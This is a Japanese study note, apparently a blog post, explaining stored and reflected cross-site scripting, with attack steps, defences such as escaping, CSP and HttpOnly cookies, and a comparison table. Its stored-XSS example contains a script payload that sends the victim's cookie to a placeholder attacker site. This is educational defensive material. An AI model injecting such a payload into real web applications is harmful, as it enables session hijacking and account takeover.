はじめに
XSS攻撃
webアプリケーションに悪意あるhtmlコードを埋め込み、ユーザーにそのwebアプリケーションを操作させることによってそのコードを実行させ、ユーザーのcookie情報を奪ったり、マルウェアに感染、攻撃者の用意したサイトへの誘導などをさせる攻撃。
XSSがなぜ問題になるか
XSSの被害件数は増加傾向である。webアプリケーションの普及、脆弱性の対応の遅れなどが挙げられる。
格納型XSS
定義
ユーザーに悪意あるスクリプトを実行させることを目的として、ユーザーが使用するwebアプリケーションに用意したスクリプトを埋め込む攻撃。
例
-
攻撃者が入力者フォームに悪意あるスクリプトを含むメッセージを投稿する。
こんにちは!<script>document.location='http://悪意のあるサイト.com/steal.php?cookie='+document.cookie;</script>
-
脆弱性のあるwebアプリケーションはこのメッセージをデータベースに保存する。
-
ユーザーがwebアプリケーションを閲覧し、保存されたメッセージを含むページをユーザーに送信する。
-
ユーザーのブラウザでページが読み込まれ、悪意あるスクリプトが自動的に実行される。
-
攻撃者はユーザーのCookieを取得して、なりすましでログインが可能になる。
対策
-
ユーザ入力のバリデーション。特殊文字や不正なスクリプトを含む入力を拒否したり無害化する。
-
データベースから取り出したデータをHTML出力する際に、<や>などの特殊文字を<や>などのHTMLエンティティに変換する(エスケープ処理)
-
Content Security Policy(CSP)の実装
ブラウザに対してどんなリソースの実行を許可するかを指定できる。- これによって信頼できるソースからのスクリプトのみを実行できる。
- インラインスクリプトの実行を拒否できる。
-
HTTPOnly Cookieの使用
JavaScriptからCookieへのアクセスを制限する。
反射型XSS
定義
ユーザーに不正なスクリプトを含むURLリンクをメールやSNS、SMSなどを通じて送り、誤ってそのリンクをクリックしたユーザーのPCから脆弱性のあるwebアプリケーションにリクエストが送られ、不正なスクリプトをそのまま含んだレスポンスがユーザーのブラウザで実行され、Cookie情報の窃取やマルウェアの感染、罠サイトへの誘導を行う攻撃。
例
- 攻撃者が以下のような悪意あるスクリプト(以下スクリプト)を含んだURLをユーザーに送信する
https://example.com/search?q=<script>alert('XSS攻撃!');</script>
- ユーザーは誤ってそのリンクをクリックする
- Webアプリケーションにスクリプトを含んだリクエストが送られる
- webアプリケーションからスクリプトを含んだレスポンスが返ってくる
- ユーザーのブラウザでスクリプトが実行される
- Cookie情報の窃取や罠サイトへの誘導、マルウェアの感染
対策
1.ユーザ入力のバリデーション。特殊文字や不正なスクリプトを含む入力を拒否したり無害化する。
-
データベースから取り出したデータをHTML出力する際に、<や>などの特殊文字を<や>などのHTMLエンティティに変換する(エスケープ処理)
-
Content Security Policy(CSP)の実装
ブラウザに対してどんなリソースの実行を許可するかを指定できる。 -
これによって信頼できるソースからのスクリプトのみを実行できる。
インラインスクリプトの実行を拒否できる。 -
HTTPOnly Cookieの使用
JavaScriptからCookieへのアクセスを制限する。 -
ブラウザのX-XSS-Protectionヘッダーを有効にする
-
URLパラメータの検証
URLパラメータを使用する際は、その値を適切に検証しエスケープする -
WAFの導入
既知のXSSパターンをブロック -
エラーメッセージのカスタマイズ
詳細なエラーメッセージを表示せず、一般的なエラーページにリダイレクトする。
比較
比較表
格納型 | 反射型 | |
---|---|---|
スクリプト実行タイミング | 悪意あるスクリプトを格納したWebアプリケーションにユーザーがアクセスした時 | リンクをクリックしてサーバーからのレスポンスが返ったとき |
対象となる脆弱性の所在 | ユーザーの入力を保持しあとで実行する機能 | ユーザーの入力をそのまま出力する部分 |
影響範囲 | サイトを利用するすべてのユーザーに被害を与える。 | 個別のユーザーを標的とする。 |
所感
今まで格納型XSSの方が攻撃者にとって簡単だと思っていたが、悪意あるスクリプトを含むコードをWebアプリケーションで保持させる必要があるため、格納型XSSの方が難しいことに気づけた。次は実際にコードを動かして更なる理解の定着に努めたい。